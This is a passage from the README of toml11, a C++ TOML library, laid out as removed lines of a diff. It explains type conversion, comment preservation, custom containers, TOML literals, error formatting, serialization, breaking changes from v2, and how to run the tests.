toml::value_t::floating: /*do some stuff*/ ; break; - case toml::value_t::string : /*do some stuff*/ ; break; - default : throw std::runtime_error( - "unexpected type : " + toml::stringize(data.at("something").type())); -} -``` - -The complete list of the `enum`s can be found in the section -[underlying types](#underlying-types). - -The `enum`s can be used as a parameter of `toml::value::is` function like the following. - -```cpp -toml::value v = /* ... */; -if(v.is(toml::value_t::boolean)) // ... -``` - -## More about conversion - -Since `toml::find` internally uses `toml::get`, all the following examples work -with both `toml::get` and `toml::find`. - -### Converting an array - -You can get any kind of `container` class from a `toml::array` -except for `map`-like classes. - -``` cpp -// # sample.toml -// numbers = [1,2,3] - -const auto numbers = toml::find(data, "numbers"); - -const auto vc = toml::get >(numbers); -const auto ls = toml::get >(numbers); -const auto dq = toml::get >(numbers); -const auto ar = toml::get>(numbers); -// if the size of data.at("numbers") is larger than that of std::array, -// it will throw toml::type_error because std::array is not resizable. -``` - -Surprisingly, you can convert `toml::array` into `std::pair` and `std::tuple`. - -```cpp -// numbers = [1,2,3] -const auto tp = toml::get>(numbers); -``` - -This functionality is helpful when you have a toml file like the following. - -```toml -array_of_arrays = [[1, 2, 3], ["foo", "bar", "baz"]] # toml allows this -``` - -What is the corresponding C++ type? -Obviously, it is a `std::pair` of `std::vector`s. - -```cpp -const auto array_of_arrays = toml::find(data, "array_of_arrays"); -const auto aofa = toml::get< - std::pair, std::vector> - >(array_of_arrays); -``` - -If you don't know the type of the elements, you can use `toml::array`, -which is a `std::vector` of `toml::value`, instead. - -```cpp -const auto a_of_a = toml::get(array_of_arrays); -const auto first = toml::get>(a_of_a.at(0)); -``` - -You can change the implementation of `toml::array` with `std::deque` or some -other array-like container. See [Customizing containers](#customizing-containers) -for detail. - -### Converting a table - -When all the values of the table have the same type, toml11 allows you to -convert a `toml::table` to a `map` that contains the convertible type. - -```toml -[tab] -key1 = "foo" # all the values are -key2 = "bar" # toml String -``` - -```cpp -const auto data = toml::parse("sample.toml"); -const auto tab = toml::find>(data, "tab"); -std::cout << tab["key1"] << std::endl; // foo -std::cout << tab["key2"] << std::endl; // bar -``` - -But since `toml::table` is just an alias of `std::unordered_map`, -normally you don't need to convert it because it has all the functionalities that -`std::unordered_map` has (e.g. `operator[]`, `count`, and `find`). In most cases -`toml::table` is sufficient. - -```cpp -toml::table tab = toml::get(data); -if(data.count("title") != 0) -{ - data["title"] = std::string("TOML example"); -} -``` - -You can change the implementation of `toml::table` with `std::map` or some -other map-like container. See [Customizing containers](#customizing-containers) -for detail. - -### Getting an array of tables - -An array of tables is just an array of tables. -You can get it in completely the same way as the other arrays and tables. - -```toml -# sample.toml -array_of_inline_tables = [{key = "value1"}, {key = "value2"}, {key = "value3"}] - -[[array_of_tables]] -key = "value4" -[[array_of_tables]] -key = "value5" -[[array_of_tables]] -key = "value6" -``` - -```cpp -const auto data = toml::parse("sample.toml"); -const auto aot1 = toml::find>(data, "array_of_inline_tables"); -const auto aot2 = toml::find>(data, "array_of_tables"); -``` - -### Cost of conversion - -Although conversion through `toml::(get|find)` is convenient, it has additional -copy-cost because it copies data contained in `toml::value` to the -user-specified type. Of course in some cases this overhead is not ignorable. - -```cpp -// the following code constructs a std::vector. -// it requires heap allocation for vector and element conversion. -const auto array = toml::find>(data, "foo"); -``` - -By passing the exact types, `toml::get` returns reference that has no overhead. - -``` cpp -const auto& tab = toml::find(data, "tab"); -const auto& numbers = toml::find(data, "numbers"); -``` - -Also, `as_xxx` are zero-overhead because they always return a reference. - -``` cpp -const auto& tab = toml::find(data, "tab" ).as_table(); -const auto& numbers = toml::find(data, "numbers").as_array(); -``` - -In this case you need to call `toml::get` each time you access to -the element of `toml::array` because `toml::array` is an array of `toml::value`. - -```cpp -const auto& num0 = toml::get(numbers.at(0)); -const auto& num1 = toml::get(numbers.at(1)); -const auto& num2 = toml::get(numbers.at(2)); -``` - -### Converting datetime and its variants - -TOML v0.5.0 has 4 different datetime objects, `local_date`, `local_time`, -`local_datetime`, and `offset_datetime`. - -Since `local_date`, `local_datetime`, and `offset_datetime` represent a time -point, you can convert them to `std::chrono::system_clock::time_point`. - -Contrary, `local_time` does not represents a time point because they lack a -date information, but it can be converted to `std::chrono::duration` that -represents a duration from the beginning of the day, `00:00:00.000`. - -```toml -# sample.toml -date = 2018-12-23 -time = 12:30:00 -l_dt = 2018-12-23T12:30:00 -o_dt = 2018-12-23T12:30:00+09:30 -``` - -```cpp -const auto data = toml::parse("sample.toml"); - -const auto date = toml::get(data.at("date")); -const auto l_dt = toml::get(data.at("l_dt")); -const auto o_dt = toml::get(data.at("o_dt")); - -const auto time = toml::get(data.at("time")); // 12 * 60 + 30 min -``` - -`local_date` and `local_datetime` are assumed to be in the local timezone when -they are converted into `time_point`. On the other hand, `offset_datetime` only -uses the offset part of the data and it does not take local timezone into account. - -To contain datetime data, toml11 defines its own datetime types. -For more detail, you can see the definitions in [toml/datetime.hpp](toml/datetime.hpp). - -## Getting with a fallback - -`toml::find_or` returns a default value if the value is not found or has a -different type. - -```cpp -const auto data = toml::parse("example.toml"); -const auto num = toml::find_or(data, "num", 42); -``` - -It works recursively if you pass several keys for subtables. -In that case, the last argument is considered to be the optional value. -All other arguments between `toml::value` and the optinoal value are considered as keys. - -```cpp -// [fruit.physical] -// color = "red" -auto data = toml::parse("fruit.toml"); -auto color = toml::find_or(data, "fruit", "physical", "color", "red"); -// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^^ -// arguments optional value -``` - -Also, `toml::get_or` returns a default value if `toml::get` failed. - -```cpp -toml::value v("foo"); // v contains String -const int value = toml::get_or(v, 42); // conversion fails. it returns 42. -``` - -These functions automatically deduce what type you want to get -from the default value you passed. - -To get a reference through this function, take care about the default value. - -```cpp -toml::value v("foo"); // v contains String -toml::integer& i = toml::get_or(v, 42); // does not work because binding `42` - // to `integer&` is invalid -toml::integer opt = 42; -toml::integer& i = toml::get_or(v, opt); // this works. -``` - -## Expecting conversion - -By using `toml::expect`, you will get your expected value or an error message -without throwing `toml::type_error`. - -```cpp -const auto value = toml::expect(data.at("title")); -if(value.is_ok()) { - std::cout << value.unwrap() << std::endl; -} else { - std::cout << value.unwrap_err() << std::endl; -} -``` - -Also, you can pass a function object to modify the expected value. - -```cpp -const auto value = toml::expect(data.at("number")) - .map(// function that receives expected type (here, int) - [](const int number) -> double { - return number * 1.5 + 1.0; - }).unwrap_or(/*default value =*/ 3.14); -``` - -## Visiting a toml::value - -toml11 provides `toml::visit` to apply a function to `toml::value` in the -same way as `std::variant`. - -```cpp -const toml::value v(3.14); -toml::visit([](const auto& val) -> void { - std::cout << val << std::endl; - }, v); -``` - -The function object that would be passed to `toml::visit` must be able to -receive all the possible TOML types. Also, the result types should be the same -each other. - -## Constructing a toml::value - -`toml::value` can be constructed in various ways. - -```cpp -toml::value v(true); // boolean -toml::value v(42); // integer -toml::value v(3.14); // floating -toml::value v("foobar"); // string -toml::value v(toml::local_date(2019, toml::month_t::Apr, 1)); // date -toml::value v{1, 2, 3, 4, 5}; // array -toml::value v{{"foo", 42}, {"bar", 3.14}, {"baz", "qux"}}; // table -``` - -When constructing a string, you can choose to use either literal or basic string. -By default, it will be a basic string. - -```cpp -toml::value v("foobar", toml::string_t::basic ); -toml::value v("foobar", toml::string_t::literal); -``` - -Datetime objects can be constructed from `std::tm` and -`std::chrono::system_clock::time_point`. But you need to specify what type -you use to avoid ambiguity. - -```cpp -const auto now = std::chrono::system_clock::now(); -toml::value v(toml::local_date(now)); -toml::value v(toml::local_datetime(now)); -toml::value v(toml::offset_datetime(now)); -``` - -Since local time is not equivalent to a time point, because it lacks date -information, it will be constructed from `std::chrono::duration`. - -```cpp -toml::value v(toml::local_time(std::chrono::hours(10))); -``` - -You can construct an array object not only from `initializer_list`, but also -from STL containers. In that case, the element type must be convertible to -`toml::value`. - -```cpp -std::vector vec{1,2,3,4,5}; -toml::value v(vec); -``` - -When you construct an array value, all the elements of `initializer_list` -must be convertible into `toml::value`. - -If a `toml::value` has an array, you can `push_back` an element in it. - -```cpp -toml::value v{1,2,3,4,5}; -v.push_back(6); -``` - -`emplace_back` also works. - -## Preserving comments - -toml11 v3 or later allows you yo choose whether comments are preserved or not via template parameter - -```cpp -const auto data1 = toml::parse("example.toml"); -const auto data2 = toml::parse("example.toml"); -``` - -or macro definition. - -```cpp -#define TOML11_PRESERVE_COMMENTS_BY_DEFAULT -#include -``` - -This feature is controlled by template parameter in `toml::basic_value<...>`. -`toml::value` is an alias of `toml::basic_value<...>`. - -If template parameter is explicitly specified, the return value of `toml::parse` -will be `toml::basic_value`. -If the macro is defined, the alias `toml::value` will be -`toml::basic_value`. - -Comments related to a value can be obtained by `toml::value::comments()`. -The return value has the same interface as `std::vector`. - -```cpp -const auto& com = v.comments(); -for(const auto& c : com) -{ - std::cout << c << std::endl; -} -``` - -Comments just before and just after (within the same line) a value are kept in a value. - -```toml -# this is a comment for v1. -v1 = "foo" - -v2 = "bar" # this is a comment for v2. -# Note that this comment is NOT a comment for v2. - -# this comment is not related to any value -# because there are empty lines between v3. -# this comment will be ignored even if you set `preserve_comments`. - -# this is a comment for v3 -# this is also a comment for v3. -v3 = "baz" # ditto. -``` - -Each comment line becomes one element of a `std::vector`. - -Hash signs will be removed, but spaces after hash sign will not be removed. - -```cpp -v1.comments().at(0) == " this is a comment for v1."s; - -v2.comments().at(1) == " this is a comment for v1."s; - -v3.comments().at(0) == " this is a comment for v3."s; -v3.comments().at(1) == " this is also a comment for v3."s; -v3.comments().at(2) == " ditto."s; -``` - -Note that a comment just after an opening brace of an array will not be a -comment for the array. - -```toml -# this is a comment for a. -a = [ # this is not a comment for a. this will be ignored. - 1, 2, 3, - # this is a comment for `42`. - 42, # this is also a comment for `42`. - 5 -] # this is a comment for a. -``` - -You can also append and modify comments. -The interfaces are the same as `std::vector`. - -```cpp -toml::basic_value v(42); -v.comments().push_back(" add this comment."); -// # add this comment. -// i = 42 -``` - -Also, you can pass a `std::vector` when constructing a -`toml::basic_value`. - -```cpp -std::vector comments{"comment 1", "comment 2"}; -const toml::basic_value v1(42, std::move(comments)); -const toml::basic_value v2(42, {"comment 1", "comment 2"}); -``` - -When `toml::discard_comments` is chosen, comments will not be contained in a value. -`value::comments()` will always be kept empty. -All the modification on comments would be ignored. -All the element access in a `discard_comments` causes the same error as accessing -an element of an empty `std::vector`. - -The comments will also be serialized. If comments exist, those comments will be -added just before the values. - -__NOTE__: Result types from `toml::parse(...)` and -`toml::parse(...)` are different. - -## Customizing containers - -Actually, `toml::basic_value` has 3 template arguments. - -```cpp -template class Table = std::unordered_map, - template class Array = std::vector> -class basic_value; -``` - -This enables you to change the containers used inside. E.g. you can use -`std::map` to contain a table object instead of `std::unordered_map`. -And also can use `std::deque` as a array object instead of `std::vector`. - -You can set these parameters while calling `toml::parse` function. - -```cpp -const auto data = toml::parse< - toml::preserve_comments, std::map, std::deque - >("example.toml"); -``` - -Needless to say, the result types from `toml::parse(...)` and -`toml::parse(...)` are different (unless you specify the same -types as default). - -Note that, since `toml::table` and `toml::array` is an alias for a table and an -array of a default `toml::value`, so it is different from the types actually -contained in a `toml::basic_value` when you customize containers. -To get the actual type in a generic way, use -`typename toml::basic_type::table_type` and -`typename toml::basic_type::array_type`. - -## TOML literal - -toml11 supports `"..."_toml` literal. -It accept both a bare value and a file content. - -```cpp -using namespace toml::literals::toml_literals; - -// `_toml` can convert a bare value without key -const toml::value v = u8"0xDEADBEEF"_toml; -// v is an Integer value containing 0xDEADBEEF. - -// raw string literal (`R"(...)"` is useful for this purpose) -const toml::value t = u8R"( - title = "this is TOML literal" - [table] - key = "value" -)"_toml; -// the literal will be parsed and the result will be contained in t -``` - -The literal function is defined in the same way as the standard library literals -such as `std::literals::string_literals::operator""s`. - -```cpp -namespace toml -{ -inline namespace literals -{ -inline namespace toml_literals -{ -toml::value operator"" _toml(const char* str, std::size_t len); -} // toml_literals -} // literals -} // toml -``` - -Access to the operator can be gained with `using namespace toml::literals;`, -`using namespace toml::toml_literals`, and `using namespace toml::literals::toml_literals`. - -Note that a key that is composed only of digits is allowed in TOML. -And, unlike the file parser, toml-literal allows a bare value without a key. -Thus it is difficult to distinguish arrays having integers and definitions of -tables that are named as digits. -Currently, literal `[1]` becomes a table named "1". -To ensure a literal to be considered as an array with one element, you need to -add a comma after the first element (like `[1,]`). - -```cpp -"[1,2,3]"_toml; // This is an array -"[table]"_toml; // This is a table that has an empty table named "table" inside. -"[[1,2,3]]"_toml; // This is an array of arrays -"[[table]]"_toml; // This is a table that has an array of tables inside. - -"[[1]]"_toml; // This literal is ambiguous. - // Currently, it becomes a table that has array of table "1". -"1 = [{}]"_toml; // This is a table that has an array of table named 1. -"[[1,]]"_toml; // This is an array of arrays. -"[[1],]"_toml; // ditto. -``` - -NOTE: `_toml` literal returns a `toml::value` that does not have comments. - -## Conversion between toml value and arbitrary types - -You can also use `toml::get` and other related functions with the types -you defined after you implement a way to convert it. - -```cpp -namespace ext -{ -struct foo -{ - int a; - double b; - std::string c; -}; -} // ext - -const auto data = toml::parse("example.toml"); - -// to do this -const foo f = toml::find(data, "foo"); -``` - -There are 3 ways to use `toml::get` with the types that you defined. - -The first one is to implement `from_toml(const toml::value&)` member function. - -```cpp -namespace ext -{ -struct foo -{ - int a; - double b; - std::string c; - - void from_toml(const toml::value& v) - { - this->a = toml::find(v, "a"); - this->b = toml::find(v, "b"); - this->c = toml::find(v, "c"); - return; - } -}; -} // ext -``` - -In this way, because `toml::get` first constructs `foo` without arguments, -the type should be default-constructible. - -The second is to implement `constructor(const toml::value&)`. - -```cpp -namespace ext -{ -struct foo -{ - explicit foo(const toml::value& v) - : a(toml::find(v, "a")), b(toml::find(v, "b")), - c(toml::find(v, "c")) - {} - - int a; - double b; - std::string c; -}; -} // ext -``` - -Note that implicit default constructor declaration will be suppressed -when a constructor is defined. If you want to use the struct (here, `foo`) -in a container (e.g. `std::vector`), you may need to define default -constructor explicitly. - -The third is to implement specialization of `toml::from` for your type. - -```cpp -namespace ext -{ -struct foo -{ - int a; - double b; - std::string c; -}; -} // ext - -namespace toml -{ -template<> -struct from -{ - static ext::foo from_toml(const value& v) - { - ext::foo f; - f.a = find(v, "a"); - f.b = find(v, "b"); - f.c = find(v, "c"); - return f; - } -}; -} // toml -``` - -In this way, since the conversion function is defined outside of the class, -you can add conversion between `toml::value` and classes defined in another library. - -In some cases, a class has a templatized constructor that takes a template, `T`. -It confuses `toml::get/find` because it makes the class "constructible" from -`toml::value`. To avoid this problem, `toml::from` and `from_toml` always -precede constructor. It makes easier to implement conversion between -`toml::value` and types defined in other libraries because it skips constructor. - -But, importantly, you cannot define `toml::from` and `T.from_toml` at the same -time because it causes ambiguity in the overload resolution of `toml::get` and `toml::find`. - -So the precedence is `toml::from` == `T.from_toml()` > `T(toml::value)`. - -If you want to convert any versions of `toml::basic_value`, -you need to templatize the conversion function as follows. - -```cpp -struct foo -{ - template class M, template class A> - void from_toml(const toml::basic_value& v) - { - this->a = toml::find(v, "a"); - this->b = toml::find(v, "b"); - this->c = toml::find(v, "c"); - return; - } -}; -// or -namespace toml -{ -template<> -struct from -{ - template class M, template class A> - static ext::foo from_toml(const basic_value& v) - { - ext::foo f; - f.a = find(v, "a"); - f.b = find(v, "b"); - f.c = find(v, "c"); - return f; - } -}; -} // toml -``` - ----- - -The opposite direction is also supported in a similar way. You can directly -pass your type to `toml::value`'s constructor by introducing `into_toml` or -`toml::into`. - -```cpp -namespace ext -{ -struct foo -{ - int a; - double b; - std::string c; - - toml::value into_toml() const // you need to mark it const. - { - return toml::value{{"a", this->a}, {"b", this->b}, {"c", this->c}}; - } -}; -} // ext - -ext::foo f{42, 3.14, "foobar"}; -toml::value v(f); -``` - -The definition of `toml::into` is similar to `toml::from`. - -```cpp -namespace ext -{ -struct foo -{ - int a; - double b; - std::string c; -}; -} // ext - -namespace toml -{ -template<> -struct into -{ - static toml::value into_toml(const ext::foo& f) - { - return toml::value{{"a", f.a}, {"b", f.b}, {"c", f.c}}; - } -}; -} // toml - -ext::foo f{42, 3.14, "foobar"}; -toml::value v(f); -``` - -Any type that can be converted to `toml::value`, e.g. `int`, `toml::table` and -`toml::array` are okay to return from `into_toml`. - -You can also return a custom `toml::basic_value` from `toml::into`. - -```cpp -namespace toml -{ -template<> -struct into -{ - static toml::basic_value into_toml(const ext::foo& f) - { - toml::basic_value v{{"a", f.a}, {"b", f.b}, {"c", f.c}}; - v.comments().push_back(" comment"); - return v; - } -}; -} // toml -``` - -But note that, if this `basic_value` would be assigned into other `toml::value` -that discards `comments`, the comments would be dropped. - -### Macro to automatically define conversion functions - -There is a helper macro that automatically generates conversion functions `from` and `into` for a simple struct. - -```cpp -namespace foo -{ -struct Foo -{ - std::string s; - double d; - int i; -}; -} // foo - -TOML11_DEFINE_CONVERSION_NON_INTRUSIVE(foo::Foo, s, d, i) - -int main() -{ - const auto file = toml::parse("example.toml"); - auto f = toml::find(file, "foo"); -} -``` - -And then you can use `toml::find(file, "foo");` - -**Note** that, because of a slight difference in implementation of preprocessor between gcc/clang and MSVC, [you need to define `/Zc:preprocessor`](https://github.com/ToruNiina/toml11/issues/139#issuecomment-803683682) to use it in MSVC (Thank you @glebm !). - -## Formatting user-defined error messages - -When you encounter an error after you read the toml value, you may want to -show the error with the value. - -toml11 provides you a function that formats user-defined error message with -related values. With a code like the following, - -```cpp -const auto value = toml::find(data, "num"); -if(value < 0) -{ - std::cerr << toml::format_error("[error] value should be positive", - data.at("num"), "positive number required") - << std::endl; -} -``` - -you will get an error message like this. - -```console -[error] value should be positive - --> example.toml - 3 | num = -42 - | ~~~ positive number required -``` - -When you pass two values to `toml::format_error`, - -```cpp -const auto min = toml::find(range, "min"); -const auto max = toml::find(range, "max"); -if(max < min) -{ - std::cerr << toml::format_error("[error] max should be larger than min", - data.at("min"), "minimum number here", - data.at("max"), "maximum number here"); - << std::endl; -} -``` - -you will get an error message like this. - -```console -[error] max should be larger than min - --> example.toml - 3 | min = 54 - | ~~ minimum number here - ... - 4 | max = 42 - | ~~ maximum number here -``` - -You can print hints at the end of the message. - -```cpp -std::vector hints; -hints.push_back("positive number means n >= 0."); -hints.push_back("negative number is not positive."); -std::cerr << toml::format_error("[error] value should be positive", - data.at("num"), "positive number required", hints) - << std::endl; -``` - -```console -[error] value should be positive - --> example.toml - 2 | num = 42 - | ~~ positive number required - | -Hint: positive number means n >= 0. -Hint: negative number is not positive. -``` - -## Obtaining location information - -You can also format error messages in your own way by using `source_location`. - -```cpp -struct source_location -{ - std::uint_least32_t line() const noexcept; - std::uint_least32_t column() const noexcept; - std::uint_least32_t region() const noexcept; - std::string const& file_name() const noexcept; - std::string const& line_str() const noexcept; -}; -// +-- line() +--- length of the region (here, region() == 9) -// v .---+---. -// 12 | value = "foo bar" <- line_str() returns the line itself. -// ^-------- column() points here -``` - -You can get this by -```cpp -const toml::value v = /*...*/; -const toml::source_location loc = v.location(); -``` - -## Exceptions - -The following `exception` classes inherits `toml::exception` that inherits -`std::exception`. - -```cpp -namespace toml { -struct exception : public std::exception {/**/}; -struct syntax_error : public toml::exception {/**/}; -struct type_error : public toml::exception {/**/}; -struct internal_error : public toml::exception {/**/}; -} // toml -``` - -`toml::exception` has `toml::exception::location()` member function that returns -`toml::source_location`, in addition to `what()`. - -```cpp -namespace toml { -struct exception : public std::exception -{ - // ... - source_location const& location() const noexcept; -}; -} // toml -``` - -It represents where the error occurs. - -`syntax_error` will be thrown from `toml::parse` and `_toml` literal. -`type_error` will be thrown from `toml::get/find`, `toml::value::as_xxx()`, and -other functions that takes a content inside of `toml::value`. - -Note that, currently, from `toml::value::at()` and `toml::find(value, key)` -may throw an `std::out_of_range` that does not inherits `toml::exception`. - -Also, in some cases, most likely in the file open error, it will throw an -`std::runtime_error`. - -## Colorize Error Messages - -By defining `TOML11_COLORIZE_ERROR_MESSAGE`, the error messages from -`toml::parse` and `toml::find|get` will be colorized. By default, this feature -is turned off. - -With the following toml file taken from `toml-lang/toml/tests/hard_example.toml`, - -```toml -[error] -array = [ - "This might most likely happen in multiline arrays", - Like here, - "or here, - and here" - ] End of array comment, forgot the # -``` - -the error message would be like this. - -![error-message-1](https://github.com/ToruNiina/toml11/blob/misc/misc/toml11-err-msg-1.png) - -With the following, - -```toml -[error] -# array = [ -# "This might most likely happen in multiline arrays", -# Like here, -# "or here, -# and here" -# ] End of array comment, forgot the # -number = 3.14 pi <--again forgot the # -``` - -the error message would be like this. - -![error-message-2](https://github.com/ToruNiina/toml11/blob/misc/misc/toml11-err-msg-2.png) - -The message would be messy when it is written to a file, not a terminal because -it uses [ANSI escape code](https://en.wikipedia.org/wiki/ANSI_escape_code). - -Without `TOML11_COLORIZE_ERROR_MESSAGE`, you can still colorize user-defined -error message by passing `true` to the `toml::format_error` function. -If you define `TOML11_COLORIZE_ERROR_MESSAGE`, the value is `true` by default. -If not, the default value would be `false`. - -```cpp -std::cerr << toml::format_error("[error] value should be positive", - data.at("num"), "positive number required", - hints, /*colorize = */ true) << std::endl; -``` - -Note: It colorize `[error]` in red. That means that it detects `[error]` prefix -at the front of the error message. If there is no `[error]` prefix, -`format_error` adds it to the error message. - -## Serializing TOML data - -toml11 enables you to serialize data into toml format. - -```cpp -const toml::value data{{"foo", 42}, {"bar", "baz"}}; -std::cout << data << std::endl; -// bar = "baz" -// foo = 42 -``` - -toml11 automatically makes a small table and small array inline. -You can specify the width to make them inline by `std::setw` for streams. - -```cpp -const toml::value data{ - {"qux", {{"foo", 42}, {"bar", "baz"}}}, - {"quux", {"small", "array", "of", "strings"}}, - {"foobar", {"this", "array", "of", "strings", "is", "too", "long", - "to", "print", "into", "single", "line", "isn't", "it?"}}, -}; - -// the threshold becomes 80. -std::cout << std::setw(80) << data << std::endl; -// foobar = [ -// "this","array","of","strings","is","too","long","to","print","into", -// "single","line","isn't","it?", -// ] -// quux = ["small","array","of","strings"] -// qux = {bar="baz",foo=42} - - -// the width is 0. nothing become inline. -std::cout << std::setw(0) << data << std::endl; -// foobar = [ -// "this", -// ... (snip) -// "it?", -// ] -// quux = [ -// "small", -// "array", -// "of", -// "strings", -// ] -// [qux] -// bar = "baz" -// foo = 42 -``` - -It is recommended to set width before printing data. Some I/O functions changes -width to 0, and it makes all the stuff (including `toml::array`) multiline. -The resulting files becomes too long. - -To control the precision of floating point numbers, you need to pass -`std::setprecision` to stream. - -```cpp -const toml::value data{ - {"pi", 3.141592653589793}, - {"e", 2.718281828459045} -}; -std::cout << std::setprecision(17) << data << std::endl; -// e = 2.7182818284590451 -// pi = 3.1415926535897931 -std::cout << std::setprecision( 7) << data << std::endl; -// e = 2.718282 -// pi = 3.141593 -``` - -There is another way to format toml values, `toml::format()`. -It returns `std::string` that represents a value. - -```cpp -const toml::value v{{"a", 42}}; -const std::string fmt = toml::format(v); -// a = 42 -``` - -Note that since `toml::format` formats a value, the resulting string may lack -the key value. - -```cpp -const toml::value v{3.14}; -const std::string fmt = toml::format(v); -// 3.14 -``` - -To control the width and precision, `toml::format` receives optional second and -third arguments to set them. By default, the width is 80 and the precision is -`std::numeric_limits::max_digit10`. - -```cpp -const auto serial = toml::format(data, /*width = */ 0, /*prec = */ 17); -``` - -When you pass a comment-preserving-value, the comment will also be serialized. -An array or a table containing a value that has a comment would not be inlined. - -## Underlying types - -The toml types (can be used as `toml::*` in this library) and corresponding `enum` names are listed in the table below. - -| TOML type | underlying c++ type | enum class | -| -------------- | ---------------------------------- | -------------------------------- | -| Boolean | `bool` | `toml::value_t::boolean` | -| Integer | `std::int64_t` | `toml::value_t::integer` | -| Float | `double` | `toml::value_t::floating` | -| String | `toml::string` | `toml::value_t::string` | -| LocalDate | `toml::local_date` | `toml::value_t::local_date` | -| LocalTime | `toml::local_time` | `toml::value_t::local_time` | -| LocalDatetime | `toml::local_datetime` | `toml::value_t::local_datetime` | -| OffsetDatetime | `toml::offset_datetime` | `toml::value_t::offset_datetime` | -| Array | `array-like` | `toml::value_t::array` | -| Table | `map-like` | `toml::value_t::table` | - -`array-like` and `map-like` are the STL containers that works like a `std::vector` and -`std::unordered_map`, respectively. By default, `std::vector` and `std::unordered_map` -are used. See [Customizing containers](#customizing-containers) for detail. - -`toml::string` is effectively the same as `std::string` but has an additional -flag that represents a kind of a string, `string_t::basic` and `string_t::literal`. -Although `std::string` is not an exact toml type, still you can get a reference -that points to internal `std::string` by using `toml::get()` for convenience. -The most important difference between `std::string` and `toml::string` is that -`toml::string` will be formatted as a TOML string when outputted with `ostream`. -This feature is introduced to make it easy to write a custom serializer. - -`Datetime` variants are `struct` that are defined in this library. -Because `std::chrono::system_clock::time_point` is a __time point__, -not capable of representing a Local Time independent from a specific day. - -## Unreleased TOML features - -Since TOML v1.0.0-rc.1 has been released, those features are now activated by -default. We no longer need to define `TOML11_USE_UNRELEASED_FEATURES`. - -- Leading zeroes in exponent parts of floats are permitted. - - e.g. `1.0e+01`, `5e+05` - - [toml-lang/toml/PR/656](https://github.com/toml-lang/toml/pull/656) -- Allow raw tab characters in basic strings and multi-line basic strings. - - [toml-lang/toml/PR/627](https://github.com/toml-lang/toml/pull/627) -- Allow heterogeneous arrays - - [toml-lang/toml/PR/676](https://github.com/toml-lang/toml/pull/676) - -## Note about heterogeneous arrays - -Although `toml::parse` allows heterogeneous arrays, constructor of `toml::value` -does not. Here the reason is explained. - -```cpp -// this won't be compiled -toml::value v{ - "foo", 3.14, 42, {1,2,3,4,5}, {{"key", "value"}} -} -``` - -There is a workaround for this. By explicitly converting values into -`toml::value`, you can initialize `toml::value` with a heterogeneous array. -Also, you can first initialize a `toml::value` with an array and then -`push_back` into it. - -```cpp -// OK! -toml::value v{ - toml::value("foo"), toml::value(3.14), toml::value(42), - toml::value{1,2,3,4,5}, toml::value{{"key", "value"}} -} - -// OK! -toml::value v(toml::array{}); -v.push_back("foo"); -v.push_back(3.14); - -// OK! -toml::array a; -a.push_back("foo"); -a.push_back(3.14); -toml::value v(std::move(a)); -``` - -The reason why the first example is not allowed is the following. -Let's assume that you are initializing a `toml::value` with a table. - -```cpp - // # expecting TOML table. -toml::value v{ // [v] - {"answer", 42}, // answer = 42 - {"pi", 3.14}, // pi = 3.14 - {"foo", "bar"} // foo = "bar" -}; -``` - -This is indistinguishable from a (heterogeneous) TOML array definition. - -```toml -v = [ - ["answer", 42], - ["pi", 3.14], - ["foo", "bar"], -] -``` - -This means that the above C++ code makes constructor's overload resolution -ambiguous. So a constructor that allows both "table as an initializer-list" and -"heterogeneous array as an initializer-list" cannot be implemented. - -Thus, although it is painful, we need to explicitly cast values into -`toml::value` when you initialize heterogeneous array in a C++ code. - -```cpp -toml::value v{ - toml::value("foo"), toml::value(3.14), toml::value(42), - toml::value{1,2,3,4,5}, toml::value{{"key", "value"}} -}; -``` - -## Breaking Changes from v2 - -Although toml11 is relatively new library (it's three years old now), it had -some confusing and inconvenient user-interfaces because of historical reasons. - -Between v2 and v3, those interfaces are rearranged. - -- `toml::parse` now returns a `toml::value`, not `toml::table`. -- `toml::value` is now an alias of `toml::basic_value`. - - See [Customizing containers](#customizing-containers) for detail. -- The elements of `toml::value_t` are renamed as `snake_case`. - - See [Underlying types](#underlying-types) for detail. -- Supports for the CamelCaseNames are dropped. - - See [Underlying types](#underlying-types) for detail. -- `(is|as)_float` has been removed to make the function names consistent with others. - - Since `float` is a keyword, toml11 named a float type as `toml::floating`. - - Also a `value_t` corresponds to `toml::floating` is named `value_t::floating`. - - So `(is|as)_floating` is introduced and `is_float` has been removed. - - See [Casting a toml::value](#casting-a-tomlvalue) and [Checking value type](#checking-value-type) for detail. -- An overload of `toml::find` for `toml::table` has been dropped. Use `toml::value` version instead. - - Because type conversion between a table and a value causes ambiguity while overload resolution - - Since `toml::parse` now returns a `toml::value`, this feature becomes less important. - - Also because `toml::table` is a normal STL container, implementing utility function is easy. - - See [Finding a toml::value](#finding-a-toml-value) for detail. -- An overload of `operator<<` and `toml::format` for `toml::table`s are dropped. - - Use `toml::value` instead. - - See [Serializing TOML data](#serializing-toml-data) for detail. -- Interface around comments. - - See [Preserving Comments](#preserving-comments) for detail. -- An ancient `from_toml/into_toml` has been removed. Use arbitrary type conversion support. - - See [Conversion between toml value and arbitrary types](#conversion-between-toml-value-and-arbitrary-types) for detail. - -Such a big change will not happen in the coming years. - -## Running Tests - -After cloning this repository, run the following command (thank you @jwillikers -for automating test set fetching!). - -```sh -$ mkdir build -$ cd build -$ cmake .. -Dtoml11_BUILD_TEST=ON -$ make -$ make test -``` - -To run the language agnostic test suite, you need to compile -`tests/check_toml_test.cpp` and pass it to the tester. - -## Contributors - -I appreciate the help of the contributors who introduced the great feature to this library. - -- Guillaume Fraux (@Luthaf) - - Windows support and CI on Appvayor - - Intel Compiler support -- Quentin Khan (@xaxousis) - - Found & Fixed a bug around ODR - - Improved error messages for invalid keys to show the location where the parser fails -- Petr Beneš (@wbenny) - - Fixed warnings on MSVC -- Ivan Shynkarenka (@chronoxor) - - Fixed Visual Studio 2019 warnings -- @khoitd1997 - - Fixed warnings while type conversion -- @KerstinKeller - - Added installation script to CMake -- J.C. Moyer (@jcmoyer) - - Fixed an example code in the documentation -- Jt Freeman (@blockparty-sh) - - Fixed feature test macro around `localtime_s` - - Suppress warnings in Debug mode -- OGAWA Kenichi (@kenichiice) - - Suppress warnings on intel compiler -- Jordan Williams (@jwillikers) - - Fixed clang range-loop-analysis warnings - - Fixed feature test macro to suppress -Wundef - - Use cache variables in CMakeLists.txt - - Automate test set fetching, update and refactor CMakeLists.txt -- Scott McCaskill - - Parse 9 digits (nanoseconds) of fractional seconds in a `local_time` -- Shu Wang (@halfelf) - - fix "Finding a value in an array" example in README -- @maass-tv and @SeverinLeonhardt - - Fix MSVC warning C4866 -- OGAWA KenIchi 